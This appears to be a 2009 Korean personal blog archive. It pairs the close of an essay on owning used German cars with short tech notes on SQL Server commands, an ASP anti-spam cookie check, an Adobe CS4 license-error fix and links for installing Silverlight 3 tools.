    하지만 어쨌든 간에 정비에 있어서 이러한 불편함이 존재하고, 그래서 필자역시 수입차를 고려하는 사람들에겐 이런 불편함을 감수할 각오는 되어있는지 꼭 확인한다. 필자처럼 차를 좋아하고 차에 미친 사람이라면, 싸고 좋은 정비소를 찾아다니면서 고치는게 즐거움일테지만, 그렇지 않은 사람들이 더 많기 때문이다.

    결과적으로 수입차의 유지비용은 당연히 국산차보단 높지만, 오너가 하기 나름이라는 것이 정답이다. 편하게 하려면 돈으로 다 때우면 되지만 좀 비싸고, 싸게 하려면 발품을 좀 팔아야한다. 세금과 유류대는 전혀 걱정하지 않아도 되지만.

    독일의 3대 프리미엄카 메이커를 논하면서 렉서스를 비롯한 한국 수입차 시장에 대한 전반적 얘기로 마무리를 했지만, 이 프리미엄카가 일반인과 아주 멀다고만 단정짓고 싶진 않다.

    필자 역시 평범한 직장인임에도 불구하고 BMW를 타고 있으나, 이는 차에 대한 열정으로 현실의 조건속에서 적당한 중고를 선택함으로써 이룬 결과이다. 결코 싸진 않았으나, 결코 사치라고 생각하진 않는다. 그만큼 더 가치를 두고 있고, 그것을 이루기 위해 노력했으니까.

    예를 들어 중형급의 새차를 사려는 사람이라면, 조금 눈을 돌려보면 그 가격으로 이런 명차들의 중고를 살수도 있다. 새차는 상당히 비싸도, 중고는 상대적으로 많이 가격이 빠져있기 때문에 절대로 현실에서 불가능한 가격이 아닌 것이다. 의외로 선택의 폭이 넓다는 점에 놀랄수도 있다.

    단지 그것이 중고이기 때문에, 새차인 국산차와 비교하기가 어려울진 몰라도.. 독일차는 전세계 최고의 내구성을 자랑하는 차이다. 오죽하면 BMW엔진은 10만 키로부터 길이 든다고 말할까? 독일에 가면 주행거리 백만키로를 자랑하는 택시가 한두대가 아니라니, 말 다했다고 볼 수 있다.

    문제는 이러한 선택을 할 수 있는 결단력과, 정보수집이다. 수입차는 이제 길거리에서 흔히 볼 수 있으며, 사려고 마음만 먹으면 말도안되게 비싸지 않은 가격으로 중고시장에서 언제라도 바로 키를 받을 수 있는 그런 물건인 것이다. 그러기 위해선 수입차의 특성을 정확히 파악하여, 자신에게 맞는 차인지를 판단하는 것이 우선되어야 한다. 한두푼 하는 것이 아니므로 반드시 시승해보고, 꼼꼼히 따져봐야만 한다. 독일차는 국산차와 승차감에과 성능에 대한 정의가 다르기 때문에 더욱 그렇다.

    끝으로, 몇년전 필자가 생애 첫번째 독일차를 타고 불의의 사고를 당한적이 있는데, 너무도 뛰어난 안전성 덕분에 탑승자 네명 전원이 큰 상처를 입지않고 제발로 걸어나왔던 적이 있다. 물론 차는 완전히 박살나서 걸레가 되었고, 당연히 폐차할 수 밖에 없었지만 말이다. 정면충돌시 엔진이 밀려들어오지 않도록 밑으로 엔진부터 떨구는 이런 독일차의 치밀한 안전정책을 보면서, 역시 차는 성능이 어쩌구 저쩌구 하더라도, 인명의 안전이 최고라는 점에 동의하게 된다. 이런 독일차의 안전정책이 국산차에도 많이 적용되서, 생명의 보호로 보다 많이 이어지기를 기대한다.

    2009/05/19 13:59 2009/05/19 13:59
    검색,수정,삭제 등이 오류가 발생할 경우 아래와 같이 처리한다.

    exec sp_changeobjectowner '기존소유자이름.테이블명', 'dbo'

    2009/05/16 06:27 2009/05/16 06:27
    update 테이블명 set AAA = ''  where AAA  is null

    -AAA는 테이늘 컬럼 열값으로 AAA에 해당하는 열의 <NULL> 값을
      공백값으로 바꾸어 준다
    2009/05/16 06:26 2009/05/16 06:26
    사용자 삽입 이미지
    2009/05/16 06:25 2009/05/16 06:25
    // 게시판 리스트 페이지(List.asp)

    먼저 특정 쿠키를 만든다, 이 쿠키값은 처리 페이지에서 세션값과 비교하여 같을때만 게시물을 등록 시킨다.


    즉 쿠키값이 없이 곧바로 쓰기 페이지에서 게시물을 등록하는 경우에는 게시물이 등록될 수 없다.

    checker1 에 현재의 세션아이디 우측 4자리를 저장 한다.


    <%
    response.expires=0
    response.cookies("checker1") = Right(Session.sessionid, 4) '//게시물 자동 등록을 막기위한 쿠키선언
    %>



    //쓰기 페이지 (Write.asp)


    현재의 세션아이디 오른쪽 4자리를 checker2 로 넘긴다


    <form name="write_form" action="write_ok.asp?TBL=<%=TBL%>" method="POST">
    <input TYPE="hidden" NAME="checker2" VALUE="<%=Right(Session.sessionid, 4)%">



    //처리 페이지 (Write_ok.asp)


    리스트페이지에서 만들어진 쿠키값과 쓰기페이지에서 넘어온 세션값(우측4자리)를 비교하여, 일치하지 않으면 강퇴, 일치하면 저장한다.


    <%

    checker2 = Request("checker2")
    If request.cookies("checker1") <> checker2 Then '쿠키값과 세션값이 같지 않으면

     Response.Write "<script language='javascript'> window.alert('유효하지 않는 쓰기요청 입니다!'); history.back();</script>"
    else

    .

    .

    처리

    .

    .

    end if


    %>

    2009/05/16 06:23 2009/05/16 06:23
    어제만해도 잘사용하던 드림위버 포토샵 들.... 에러나는 설치버전은 CS4다.

    오늘 실행하니 갑자기 팝업에 사용권 만료 라고 아무것도 실행이 되지 않는다.
    .

    언인스톨 후 새로운 시리얼로 리인스톨을 해도 해결이 되지 않고 같은 등록 만료 메세지가 출력되는데 이는 기존 설치 정보가 남아있기 때문이다.

    간단히,

    Program Files\Common Files\Adobe\Adobe PCD\cache\cache.db

    를 삭제하면 해결이 된다.

    재인스톨을 하면 아무 문제없이 새로운 시리얼로 설치가 가능하다.

    ps: 상위 파일을 지우고 재설치 하지않고 그냥 실행하면 30일 트라이얼 과 시리얼 입력 할것인지 선택하는 창이 나온다,
    시리얼 있는 유저는 등록하면 전에 사용하던 그대로 사용가능한것으로 보인다...

    시리얼로 하니 다시된다....ㅡ,.ㅡ
    2009/05/16 06:21 2009/05/16 06:21

    Silverlight 3는 Silverlight 2 개발 환경을 공유할 수 없습니다. ( 공유할 수 있지만 설정 자체가 골치 아파요. ^^ )


    1. 버추얼 PC 설치 ( 옵션 )


    현재 Silverlight 2를 개발하시는 환경에서 Silverlight 3 환경을 구축하시려면 다중 부팅이나 버추얼 PC로 환경을 구성하실 수 있습니다.


    http://www.microsoft.com/downloads/details.aspx?FamilyId=04D26402-3199-48A3-AFA2-2DC0B40A73B6&displaylang=en



    2. Visual Web Developer 2008 SP1 영문 설치


    http://www.microsoft.com/express/vwd/


    Silverlight 3 Beta Tool이 현재 영문 Visual Studio 만을 지원 하고 있습니다.


    3. Silverlight 3 Beta Tool for Visual Studio


    http://www.microsoft.com/downloads/details.aspx?FamilyId=11dc7151-dbd6-4e39-878f-5081863cbb5d&displaylang=en


    4. Silverlight 3 Beta developer runtimes : Windows


    http://go.microsoft.com/fwlink/?LinkID=143433


    5. Microsoft Expression Blend 3 Preview


    http://www.microsoft.com/expression/try-it/blendpreview.aspx


    6. Silverlight Toolkit


    http://www.codeplex.com/Silverlight


    7. Microsoft .NET RIA Services


    http://www.microsoft.com/downloads/details.aspx?FamilyID=76bb3a07-3846-4564-b0c3-27972bcaabce&displaylang=en


    8. Silverlight 3 Beta SDK


    http://www.microsoft.com/downloads/details.aspx?displaylang=en&FamilyID=d09b6ecf-9a45-4d99-b752-2a330a937bc4


    설치 순서는 상관이 없고요. 최신 설치 링크는 공식 페이지를 참고 하세요.


    http://silverlight.net/getstarted/silverlight3/default.aspx


    틀린 내용이나 링크, 참고 사항 제보 부탁 드립니다. ^^


    감사합니다.

    2009/05/16 04:00 2009/05/16 04:00